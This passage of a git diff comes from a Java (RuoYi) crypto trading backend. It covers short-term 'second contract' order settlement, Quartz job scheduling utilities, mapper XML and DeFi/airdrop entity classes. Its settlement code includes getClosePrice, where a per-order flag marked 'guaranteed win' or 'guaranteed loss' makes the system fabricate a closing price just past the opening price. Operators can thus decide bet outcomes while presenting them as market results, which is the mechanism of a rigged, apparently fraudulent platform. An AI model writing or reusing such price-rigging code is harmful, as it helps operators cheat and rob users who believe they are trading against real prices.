BigDecimal.ZERO; + } + } + if(openPrice.compareTo(newPrice)<0){ + //赢 判断 全赔 半赔 + if(rate.compareTo(BigDecimal.ONE)<0){ + //半赔 + //计算待返金额 + returnAmount= betAmount.multiply(BigDecimal.ONE.add(rate)); + } + if(rate.compareTo(BigDecimal.ONE)>=0){ + //全赔 + //订单结算 修改订单状态 + returnAmount= betAmount.add(betAmount.multiply(rate)); + } + } + if(openPrice.compareTo(newPrice)==0){ + //平 //返还订单金额 + //订单结算 修改订单状态 + openResult="3"; + returnAmount= betAmount; + } + }else { + //跌 + if(openPrice.compareTo(newPrice)>0){ + //赢 判断 全赔 半赔 + if(rate.compareTo(BigDecimal.ONE)<0){ + //半赔 + //计算待返金额 + returnAmount= betAmount.multiply(BigDecimal.ONE.add(rate)); + } + if(rate.compareTo(BigDecimal.ONE)>=0){ + //全赔 + //计算待返金额 + returnAmount= betAmount.add(betAmount.multiply(rate)); + } + + } + if(openPrice.compareTo(newPrice)<0){ + //输 判断 全赔 半赔 + openResult="2"; + if(rate.compareTo(BigDecimal.ONE)<0){ + //半赔 + //计算待返金额 + returnAmount= betAmount.multiply(BigDecimal.ONE.subtract(rate)); + } + if(rate.compareTo(BigDecimal.ZERO)==0){ + //全赔 + returnAmount= BigDecimal.ZERO; + } + if(null != order.getRateFlag() && order.getRateFlag()){ + returnAmount= BigDecimal.ZERO; + } + + } + if(openPrice.compareTo(newPrice)==0){ + //平 //返还订单金额 + openResult="3"; + returnAmount= betAmount; + } + } + if(returnAmount.compareTo(BigDecimal.ZERO)>0){ + //返回至 用户资产 + Map assetByUserIdList = assetService.getAssetByUserIdList(order.getUserId()); + TAppAsset appAsset = assetByUserIdList.get(order.getBaseSymbol()+ order.getUserId()); + BigDecimal availableAmount = appAsset.getAvailableAmount(); + appAsset.setAmout(appAsset.getAmout().add(returnAmount)); + appAsset.setAvailableAmount(availableAmount.add(returnAmount)); + assetService.updateTAppAsset(appAsset); + //添加账变 + appWalletRecordService.generateRecord(order.getUserId(),returnAmount, RecordEnum.OPTION_SETTLEMENT.getCode(),"", order.getOrderNo(),RecordEnum.OPTION_SETTLEMENT.getInfo(),availableAmount,availableAmount.add(returnAmount), order.getBaseSymbol(),tAppUser.getAdminParentIds()); + + } + //订单结算 修改订单状态 + order.setOpenResult(openResult); + order.setClosePrice(newPrice); + order.setStatus(1); + order.setRewardAmount(returnAmount); + order.setSign(sign); + secondContractOrderService.updateById(order); + +// //秒合约打码 +// Setting setting = settingService.get(SettingEnum.ADD_MOSAIC_SETTING.name()); +// if (Objects.nonNull(setting)){ +// AddMosaicSetting addMosaic = JSONUtil.toBean(setting.getSettingValue(), AddMosaicSetting.class); +// if (Objects.nonNull(addMosaic) && Objects.nonNull(addMosaic.getIsOpen()) && addMosaic.getIsOpen() && Objects.nonNull(addMosaic.getSencordIsOpen()) && addMosaic.getSencordIsOpen()){ +// tAppUser.setTotleAmont(tAppUser.getTotleAmont().add(order.getBetAmount())); +// appUserService.updateTotleAmont(tAppUser); +// } +// } + + HashMap object = new HashMap<>(); + object.put("settlement","3"); + redisUtil.addStream(redisStreamNames,object); + } catch (Exception e) { + e.printStackTrace(); + } + + } + + /** + * + * @param openPrice 开盘价 + * @param closePrice 收盘价 + * @param sign 标识 订单标记 0正常 1包赢 2包输 + * @param type 跌涨 1 涨 0 跌 + * @return + */ + public static BigDecimal getClosePrice(BigDecimal openPrice, BigDecimal closePrice, Integer sign, Integer type) { + // 包赢,买涨,实际涨 买跌,实际跌 则返回原关盘价 + if (sign == 1) { + // 包赢 + if ((1==type && closePrice.compareTo(openPrice) > 0) || (0==type && closePrice.compareTo(openPrice) < 0)) + { + return closePrice; + } + } + if (sign == 2){ + if ((1==type && closePrice.compareTo(openPrice) < 0) ||(0==type && closePrice.compareTo(openPrice) > 0)) + { + // 包输 买涨,实际跌 买跌,实际涨 则返回原关盘价 + return closePrice; + } + } + + BigDecimal diff; + // 防止24421.540000返回6位小数,stripTrailingZeros()去掉后面的0 + int digits = getNumberDecimalDigits(openPrice.stripTrailingZeros().toPlainString()); + if (digits == 0) { + // 没有小数,就生成0-1之间的小数 + diff = BigDecimal.valueOf(ThreadLocalRandom.current().nextDouble()); + } else { + // 有小数,就生成最后一位小数*1-10之间的数额,比如2位小数,就是0.01*(1-10)之间的随机数 + diff = BigDecimal.valueOf((double) 1 / Math.pow(10, digits) * (ThreadLocalRandom.current().nextInt(10) + 1)); + } + + if (sign == 1) { + // 包赢,买涨,要涨/买跌,要跌 + if (1==type) { // 涨 + closePrice = openPrice.add(diff); + } else if (0==type) { // 跌 + closePrice = openPrice.subtract(diff); + } + } else { + // 包输,买涨,要跌/买跌,要涨 + if (1==type) { // 涨 + closePrice = openPrice.subtract(diff); + } else if (0==type) { // 跌 + closePrice = openPrice.add(diff); + } + } + + return closePrice; + } + + // 获取小数位个数 + public static int getNumberDecimalDigits(String number) { + if (!number.contains(".")) { + return 0; + } + return number.length() - (number.indexOf(".") + 1); + } + + + +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/TaskExecutePool.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/TaskExecutePool.java new file mode 100644 index 0000000..ab28ac4 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/task/TaskExecutePool.java @@ -0,0 +1,30 @@ +package com.ruoyi.quartz.task; + +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.scheduling.annotation.EnableAsync; +import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; + +import java.util.concurrent.Executor; +import java.util.concurrent.ThreadPoolExecutor; + +/** + * 自定义线程池 + */ +@Configuration +@EnableAsync +public class TaskExecutePool { + + @Bean(name = "myTaskAsyncPool") + public Executor myTaskAsyncPool() { + ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor(); + executor.setCorePoolSize(10); //核心线程数 + executor.setMaxPoolSize(20); //最大线程数 + executor.setQueueCapacity(1000); //队列大小 + executor.setKeepAliveSeconds(300); //线程最大空闲时间 + executor.setThreadNamePrefix("async-Executor-"); //指定用于新创建的线程名称的前缀。 + executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy()); // 拒绝策略(一共四种,此处省略) + executor.initialize(); + return executor; + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/AbstractQuartzJob.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/AbstractQuartzJob.java new file mode 100644 index 0000000..731a5eb --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/AbstractQuartzJob.java @@ -0,0 +1,107 @@ +package com.ruoyi.quartz.util; + +import java.util.Date; +import org.quartz.Job; +import org.quartz.JobExecutionContext; +import org.quartz.JobExecutionException; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.constant.ScheduleConstants; +import com.ruoyi.common.utils.ExceptionUtil; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.bean.BeanUtils; +import com.ruoyi.common.utils.spring.SpringUtils; +import com.ruoyi.quartz.domain.SysJob; +import com.ruoyi.quartz.domain.SysJobLog; +import com.ruoyi.quartz.service.ISysJobLogService; + +/** + * 抽象quartz调用 + * + * @author ruoyi + */ +public abstract class AbstractQuartzJob implements Job +{ + private static final Logger log = LoggerFactory.getLogger(AbstractQuartzJob.class); + + /** + * 线程本地变量 + */ + private static ThreadLocal threadLocal = new ThreadLocal<>(); + + @Override + public void execute(JobExecutionContext context) throws JobExecutionException + { + SysJob sysJob = new SysJob(); + BeanUtils.copyBeanProp(sysJob, context.getMergedJobDataMap().get(ScheduleConstants.TASK_PROPERTIES)); + try + { + before(context, sysJob); + if (sysJob != null) + { + doExecute(context, sysJob); + } + after(context, sysJob, null); + } + catch (Exception e) + { + log.error("任务执行异常 - :", e); + after(context, sysJob, e); + } + } + + /** + * 执行前 + * + * @param context 工作执行上下文对象 + * @param sysJob 系统计划任务 + */ + protected void before(JobExecutionContext context, SysJob sysJob) + { + threadLocal.set(new Date()); + } + + /** + * 执行后 + * + * @param context 工作执行上下文对象 + * @param sysJob 系统计划任务 + */ + protected void after(JobExecutionContext context, SysJob sysJob, Exception e) + { + Date startTime = threadLocal.get(); + threadLocal.remove(); + + final SysJobLog sysJobLog = new SysJobLog(); + sysJobLog.setJobName(sysJob.getJobName()); + sysJobLog.setJobGroup(sysJob.getJobGroup()); + sysJobLog.setInvokeTarget(sysJob.getInvokeTarget()); + sysJobLog.setStartTime(startTime); + sysJobLog.setStopTime(new Date()); + long runMs = sysJobLog.getStopTime().getTime() - sysJobLog.getStartTime().getTime(); + sysJobLog.setJobMessage(sysJobLog.getJobName() + " 总共耗时:" + runMs + "毫秒"); + if (e != null) + { + sysJobLog.setStatus(Constants.FAIL); + String errorMsg = StringUtils.substring(ExceptionUtil.getExceptionMessage(e), 0, 2000); + sysJobLog.setExceptionInfo(errorMsg); + } + else + { + sysJobLog.setStatus(Constants.SUCCESS); + } + + // 写入数据库当中 + SpringUtils.getBean(ISysJobLogService.class).addJobLog(sysJobLog); + } + + /** + * 执行方法,由子类重载 + * + * @param context 工作执行上下文对象 + * @param sysJob 系统计划任务 + * @throws Exception 执行过程中的异常 + */ + protected abstract void doExecute(JobExecutionContext context, SysJob sysJob) throws Exception; +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/CronUtils.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/CronUtils.java new file mode 100644 index 0000000..dd53839 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/CronUtils.java @@ -0,0 +1,63 @@ +package com.ruoyi.quartz.util; + +import java.text.ParseException; +import java.util.Date; +import org.quartz.CronExpression; + +/** + * cron表达式工具类 + * + * @author ruoyi + * + */ +public class CronUtils +{ + /** + * 返回一个布尔值代表一个给定的Cron表达式的有效性 + * + * @param cronExpression Cron表达式 + * @return boolean 表达式是否有效 + */ + public static boolean isValid(String cronExpression) + { + return CronExpression.isValidExpression(cronExpression); + } + + /** + * 返回一个字符串值,表示该消息无效Cron表达式给出有效性 + * + * @param cronExpression Cron表达式 + * @return String 无效时返回表达式错误描述,如果有效返回null + */ + public static String getInvalidMessage(String cronExpression) + { + try + { + new CronExpression(cronExpression); + return null; + } + catch (ParseException pe) + { + return pe.getMessage(); + } + } + + /** + * 返回下一个执行时间根据给定的Cron表达式 + * + * @param cronExpression Cron表达式 + * @return Date 下次Cron表达式执行时间 + */ + public static Date getNextExecution(String cronExpression) + { + try + { + CronExpression cron = new CronExpression(cronExpression); + return cron.getNextValidTimeAfter(new Date(System.currentTimeMillis())); + } + catch (ParseException e) + { + throw new IllegalArgumentException(e.getMessage()); + } + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java new file mode 100644 index 0000000..1c7c631 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java @@ -0,0 +1,183 @@ +package com.ruoyi.quartz.util; + +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.LinkedList; +import java.util.List; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.spring.SpringUtils; +import com.ruoyi.quartz.domain.SysJob; + +/** + * 任务执行工具 + * + * @author ruoyi + */ +public class JobInvokeUtil +{ + /** + * 执行方法 + * + * @param sysJob 系统任务 + */ + public static void invokeMethod(SysJob sysJob) throws Exception + { + String invokeTarget = sysJob.getInvokeTarget(); + System.out.println("jobId:"+sysJob.getJobId()); + String beanName = getBeanName(invokeTarget); + String methodName = getMethodName(invokeTarget); + List methodParams = getMethodParams(invokeTarget); + + if (!isValidClassName(beanName)) + { + Object bean = SpringUtils.getBean(beanName); + invokeMethod(bean, methodName, methodParams); + } + else + { + Object bean = Class.forName(beanName).getDeclaredConstructor().newInstance(); + invokeMethod(bean, methodName, methodParams); + } + } + + /** + * 调用任务方法 + * + * @param bean 目标对象 + * @param methodName 方法名称 + * @param methodParams 方法参数 + */ + private static void invokeMethod(Object bean, String methodName, List methodParams) + throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, + InvocationTargetException + { + if (StringUtils.isNotNull(methodParams) && methodParams.size() > 0) + { + Method method = bean.getClass().getMethod(methodName, getMethodParamsType(methodParams)); + method.invoke(bean, getMethodParamsValue(methodParams)); + } + else + { + Method method = bean.getClass().getMethod(methodName); + method.invoke(bean); + } + } + + /** + * 校验是否为为class包名 + * + * @param invokeTarget 名称 + * @return true是 false否 + */ + public static boolean isValidClassName(String invokeTarget) + { + return StringUtils.countMatches(invokeTarget, ".") > 1; + } + + /** + * 获取bean名称 + * + * @param invokeTarget 目标字符串 + * @return bean名称 + */ + public static String getBeanName(String invokeTarget) + { + String beanName = StringUtils.substringBefore(invokeTarget, "("); + return StringUtils.substringBeforeLast(beanName, "."); + } + + /** + * 获取bean方法 + * + * @param invokeTarget 目标字符串 + * @return method方法 + */ + public static String getMethodName(String invokeTarget) + { + String methodName = StringUtils.substringBefore(invokeTarget, "("); + return StringUtils.substringAfterLast(methodName, "."); + } + + /** + * 获取method方法参数相关列表 + * + * @param invokeTarget 目标字符串 + * @return method方法相关参数列表 + */ + public static List getMethodParams(String invokeTarget) + { + String methodStr = StringUtils.substringBetween(invokeTarget, "(", ")"); + if (StringUtils.isEmpty(methodStr)) + { + return null; + } + String[] methodParams = methodStr.split(",(?=([^\"']*[\"'][^\"']*[\"'])*[^\"']*$)"); + List classs = new LinkedList<>(); + for (int i = 0; i < methodParams.length; i++) + { + String str = StringUtils.trimToEmpty(methodParams[i]); + // String字符串类型,以'或"开头 + if (StringUtils.startsWithAny(str, "'", "\"")) + { + classs.add(new Object[] { StringUtils.substring(str, 1, str.length() - 1), String.class }); + } + // boolean布尔类型,等于true或者false + else if ("true".equalsIgnoreCase(str) || "false".equalsIgnoreCase(str)) + { + classs.add(new Object[] { Boolean.valueOf(str), Boolean.class }); + } + // long长整形,以L结尾 + else if (StringUtils.endsWith(str, "L")) + { + classs.add(new Object[] { Long.valueOf(StringUtils.substring(str, 0, str.length() - 1)), Long.class }); + } + // double浮点类型,以D结尾 + else if (StringUtils.endsWith(str, "D")) + { + classs.add(new Object[] { Double.valueOf(StringUtils.substring(str, 0, str.length() - 1)), Double.class }); + } + // 其他类型归类为整形 + else + { + classs.add(new Object[] { Integer.valueOf(str), Integer.class }); + } + } + return classs; + } + + /** + * 获取参数类型 + * + * @param methodParams 参数相关列表 + * @return 参数类型列表 + */ + public static Class[] getMethodParamsType(List methodParams) + { + Class[] classs = new Class[methodParams.size()]; + int index = 0; + for (Object[] os : methodParams) + { + classs[index] = (Class) os[1]; + index++; + } + return classs; + } + + /** + * 获取参数值 + * + * @param methodParams 参数相关列表 + * @return 参数值列表 + */ + public static Object[] getMethodParamsValue(List methodParams) + { + Object[] classs = new Object[methodParams.size()]; + int index = 0; + for (Object[] os : methodParams) + { + classs[index] = (Object) os[0]; + index++; + } + return classs; + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzDisallowConcurrentExecution.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzDisallowConcurrentExecution.java new file mode 100644 index 0000000..5e13558 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzDisallowConcurrentExecution.java @@ -0,0 +1,21 @@ +package com.ruoyi.quartz.util; + +import org.quartz.DisallowConcurrentExecution; +import org.quartz.JobExecutionContext; +import com.ruoyi.quartz.domain.SysJob; + +/** + * 定时任务处理(禁止并发执行) + * + * @author ruoyi + * + */ +@DisallowConcurrentExecution +public class QuartzDisallowConcurrentExecution extends AbstractQuartzJob +{ + @Override + protected void doExecute(JobExecutionContext context, SysJob sysJob) throws Exception + { + JobInvokeUtil.invokeMethod(sysJob); + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzJobExecution.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzJobExecution.java new file mode 100644 index 0000000..e975326 --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/QuartzJobExecution.java @@ -0,0 +1,19 @@ +package com.ruoyi.quartz.util; + +import org.quartz.JobExecutionContext; +import com.ruoyi.quartz.domain.SysJob; + +/** + * 定时任务处理(允许并发执行) + * + * @author ruoyi + * + */ +public class QuartzJobExecution extends AbstractQuartzJob +{ + @Override + protected void doExecute(JobExecutionContext context, SysJob sysJob) throws Exception + { + JobInvokeUtil.invokeMethod(sysJob); + } +} diff --git a/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/ScheduleUtils.java b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/ScheduleUtils.java new file mode 100644 index 0000000..21fedae --- /dev/null +++ b/ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/ScheduleUtils.java @@ -0,0 +1,141 @@ +package com.ruoyi.quartz.util; + +import org.quartz.CronScheduleBuilder; +import org.quartz.CronTrigger; +import org.quartz.Job; +import org.quartz.JobBuilder; +import org.quartz.JobDetail; +import org.quartz.JobKey; +import org.quartz.Scheduler; +import org.quartz.SchedulerException; +import org.quartz.TriggerBuilder; +import org.quartz.TriggerKey; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.constant.ScheduleConstants; +import com.ruoyi.common.exception.job.TaskException; +import com.ruoyi.common.exception.job.TaskException.Code; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.spring.SpringUtils; +import com.ruoyi.quartz.domain.SysJob; + +/** + * 定时任务工具类 + * + * @author ruoyi + * + */ +public class ScheduleUtils +{ + /** + * 得到quartz任务类 + * + * @param sysJob 执行计划 + * @return 具体执行任务类 + */ + private static Class getQuartzJobClass(SysJob sysJob) + { + boolean isConcurrent = "0".equals(sysJob.getConcurrent()); + return isConcurrent ? QuartzJobExecution.class : QuartzDisallowConcurrentExecution.class; + } + + /** + * 构建任务触发对象 + */ + public static TriggerKey getTriggerKey(Long jobId, String jobGroup) + { + return TriggerKey.triggerKey(ScheduleConstants.TASK_CLASS_NAME + jobId, jobGroup); + } + + /** + * 构建任务键对象 + */ + public static JobKey getJobKey(Long jobId, String jobGroup) + { + return JobKey.jobKey(ScheduleConstants.TASK_CLASS_NAME + jobId, jobGroup); + } + + /** + * 创建定时任务 + */ + public static void createScheduleJob(Scheduler scheduler, SysJob job) throws SchedulerException, TaskException + { + Class jobClass = getQuartzJobClass(job); + // 构建job信息 + Long jobId = job.getJobId(); + String jobGroup = job.getJobGroup(); + JobDetail jobDetail = JobBuilder.newJob(jobClass).withIdentity(getJobKey(jobId, jobGroup)).build(); + + // 表达式调度构建器 + CronScheduleBuilder cronScheduleBuilder = CronScheduleBuilder.cronSchedule(job.getCronExpression()); + cronScheduleBuilder = handleCronScheduleMisfirePolicy(job, cronScheduleBuilder); + + // 按新的cronExpression表达式构建一个新的trigger + CronTrigger trigger = TriggerBuilder.newTrigger().withIdentity(getTriggerKey(jobId, jobGroup)) + .withSchedule(cronScheduleBuilder).build(); + + // 放入参数,运行时的方法可以获取 + jobDetail.getJobDataMap().put(ScheduleConstants.TASK_PROPERTIES, job); + + // 判断是否存在 + if (scheduler.checkExists(getJobKey(jobId, jobGroup))) + { + // 防止创建时存在数据问题 先移除,然后在执行创建操作 + scheduler.deleteJob(getJobKey(jobId, jobGroup)); + } + + // 判断任务是否过期 + if (StringUtils.isNotNull(CronUtils.getNextExecution(job.getCronExpression()))) + { + // 执行调度任务 + scheduler.scheduleJob(jobDetail, trigger); + } + + // 暂停任务 + if (job.getStatus().equals(ScheduleConstants.Status.PAUSE.getValue())) + { + scheduler.pauseJob(ScheduleUtils.getJobKey(jobId, jobGroup)); + } + } + + /** + * 设置定时任务策略 + */ + public static CronScheduleBuilder handleCronScheduleMisfirePolicy(SysJob job, CronScheduleBuilder cb) + throws TaskException + { + switch (job.getMisfirePolicy()) + { + case ScheduleConstants.MISFIRE_DEFAULT: + return cb; + case ScheduleConstants.MISFIRE_IGNORE_MISFIRES: + return cb.withMisfireHandlingInstructionIgnoreMisfires(); + case ScheduleConstants.MISFIRE_FIRE_AND_PROCEED: + return cb.withMisfireHandlingInstructionFireAndProceed(); + case ScheduleConstants.MISFIRE_DO_NOTHING: + return cb.withMisfireHandlingInstructionDoNothing(); + default: + throw new TaskException("The task misfire policy '" + job.getMisfirePolicy() + + "' cannot be used in cron schedule tasks", Code.CONFIG_ERROR); + } + } + + /** + * 检查包名是否为白名单配置 + * + * @param invokeTarget 目标字符串 + * @return 结果 + */ + public static boolean whiteList(String invokeTarget) + { + String packageName = StringUtils.substringBefore(invokeTarget, "("); + int count = StringUtils.countMatches(packageName, "."); + if (count > 1) + { + return StringUtils.containsAnyIgnoreCase(invokeTarget, Constants.JOB_WHITELIST_STR); + } + Object obj = SpringUtils.getBean(StringUtils.split(invokeTarget, ".")[0]); + String beanPackageName = obj.getClass().getPackage().getName(); + return StringUtils.containsAnyIgnoreCase(beanPackageName, Constants.JOB_WHITELIST_STR) + && !StringUtils.containsAnyIgnoreCase(beanPackageName, Constants.JOB_ERROR_STR); + } +} diff --git a/ruoyi-quartz/src/main/resources/mapper/quartz/SysJobLogMapper.xml b/ruoyi-quartz/src/main/resources/mapper/quartz/SysJobLogMapper.xml new file mode 100644 index 0000000..e608e42 --- /dev/null +++ b/ruoyi-quartz/src/main/resources/mapper/quartz/SysJobLogMapper.xml @@ -0,0 +1,93 @@ + + + + + + + + + + + + + + + + + select job_log_id, job_name, job_group, invoke_target, job_message, status, exception_info, create_time + from sys_job_log + + + + + + + + + + delete from sys_job_log where job_log_id = #{jobLogId} + + + + delete from sys_job_log where job_log_id in + + #{jobLogId} + + + + + truncate table sys_job_log + + + + insert into sys_job_log( + job_log_id, + job_name, + job_group, + invoke_target, + job_message, + status, + exception_info, + create_time + )values( + #{jobLogId}, + #{jobName}, + #{jobGroup}, + #{invokeTarget}, + #{jobMessage}, + #{status}, + #{exceptionInfo}, + sysdate() + ) + + + \ No newline at end of file diff --git a/ruoyi-quartz/src/main/resources/mapper/quartz/SysJobMapper.xml b/ruoyi-quartz/src/main/resources/mapper/quartz/SysJobMapper.xml new file mode 100644 index 0000000..5605c44 --- /dev/null +++ b/ruoyi-quartz/src/main/resources/mapper/quartz/SysJobMapper.xml @@ -0,0 +1,111 @@ + + + + + + + + + + + + + + + + + + + + + + select job_id, job_name, job_group, invoke_target, cron_expression, misfire_policy, concurrent, status, create_by, create_time, remark + from sys_job + + + + + + + + + + delete from sys_job where job_id = #{jobId} + + + + delete from sys_job where job_id in + + #{jobId} + + + + + update sys_job + + job_name = #{jobName}, + job_group = #{jobGroup}, + invoke_target = #{invokeTarget}, + cron_expression = #{cronExpression}, + misfire_policy = #{misfirePolicy}, + concurrent = #{concurrent}, + status = #{status}, + remark = #{remark}, + update_by = #{updateBy}, + update_time = sysdate() + + where job_id = #{jobId} + + + + insert into sys_job( + job_id, + job_name, + job_group, + invoke_target, + cron_expression, + misfire_policy, + concurrent, + status, + remark, + create_by, + create_time + )values( + #{jobId}, + #{jobName}, + #{jobGroup}, + #{invokeTarget}, + #{cronExpression}, + #{misfirePolicy}, + #{concurrent}, + #{status}, + #{remark}, + #{createBy}, + sysdate() + ) + + + \ No newline at end of file diff --git a/ruoyi-system/pom.xml b/ruoyi-system/pom.xml new file mode 100644 index 0000000..aa268bd --- /dev/null +++ b/ruoyi-system/pom.xml @@ -0,0 +1,28 @@ + + + + ruoyi + com.ruoyi + 3.8.5 + + 4.0.0 + + ruoyi-system + + + system系统模块 + + + + + + + com.ruoyi + ruoyi-common + + + + + \ No newline at end of file diff --git a/ruoyi-system/ruoyi-system.iml b/ruoyi-system/ruoyi-system.iml new file mode 100644 index 0000000..e33f826 --- /dev/null +++ b/ruoyi-system/ruoyi-system.iml @@ -0,0 +1,278 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiActivity.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiActivity.java new file mode 100644 index 0000000..263f7c4 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiActivity.java @@ -0,0 +1,58 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * 空投活动对象 t_defi_activity + * + * @author ruoyi + * @date 2023-08-17 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_defi_activity") +public class DefiActivity extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 需要金额 + */ + private BigDecimal totleAmount; + + private Long userId; + /** + * 结束时间 + */ + private Date endTime; + /** + * 奖励金额 + */ + private BigDecimal amount; + /** + * 0-usdt 1-eth + */ + private Long type; + + private Integer status; + /** + * $column.columnComment + */ + private String searchValue; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiOrder.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiOrder.java new file mode 100644 index 0000000..163a74c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiOrder.java @@ -0,0 +1,56 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * defi订单对象 t_defi_order + * + * @author ruoyi + * @date 2023-08-18 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_defi_order") +public class DefiOrder extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 收益金额 + */ + private BigDecimal amount; + /** + * 钱包金额 + */ + private BigDecimal totleAmount; + /** + * 收益率 + */ + private BigDecimal rate; + /** + * $column.columnComment + */ + private String searchValue; + /** + * 用户id + */ + private Long userId; + /** + * 代理ids + */ + private String adminParentIds; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiRate.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiRate.java new file mode 100644 index 0000000..2be5134 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/DefiRate.java @@ -0,0 +1,48 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import java.math.BigDecimal; +import com.ruoyi.common.core.domain.BaseEntity; + +/** + * defi挖矿利率配置对象 t_defi_rate + * + * @author ruoyi + * @date 2023-08-17 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_defi_rate") +public class DefiRate extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 最小金额 + */ + private BigDecimal minAmount; + /** + * 最大金额 + */ + private BigDecimal maxAmount; + /** + * 利率 + */ + private BigDecimal rate; + /** + * $column.columnComment + */ + private String searchValue; + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/KlineSymbol.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/KlineSymbol.java new file mode 100644 index 0000000..13fc86c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/KlineSymbol.java @@ -0,0 +1,71 @@ +package com.ruoyi.bussiness.domain; + +import com.baomidou.mybatisplus.annotation.*; +import lombok.Data; +import lombok.EqualsAndHashCode; +import java.io.Serializable; +import java.util.Date; +import java.math.BigDecimal; + +import com.ruoyi.common.core.domain.BaseEntity; +import lombok.experimental.Accessors; + +/** + * 数据源对象 t_kline_symbol + * + * @author ruoyi + * @date 2023-07-10 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@TableName("t_kline_symbol") +@Accessors(chain = true) +public class KlineSymbol extends BaseEntity { + +private static final long serialVersionUID=1L; + + /** + * id + */ + @TableId(value = "id",type = IdType.AUTO) + private Long id; + /** + * 交易所 + */ + private String market; + /** + * 币种简称 + */ + private String symbol; + /** + * 币种名称 + */ + private String slug; + /** + * 是否开启 + */ + private Long status; + /** + * 图标 + */ + private String logo; + + /** + * 参考币种 + */ + private String referCoin; + + /** + * 参考币种交易所 + */ + private String referMarket; + + /** + * 价格百分比 + */ + private BigDecimal proportion; + + + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/MarketTicker.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/domain/MarketTicker.java new file mode 100644 index 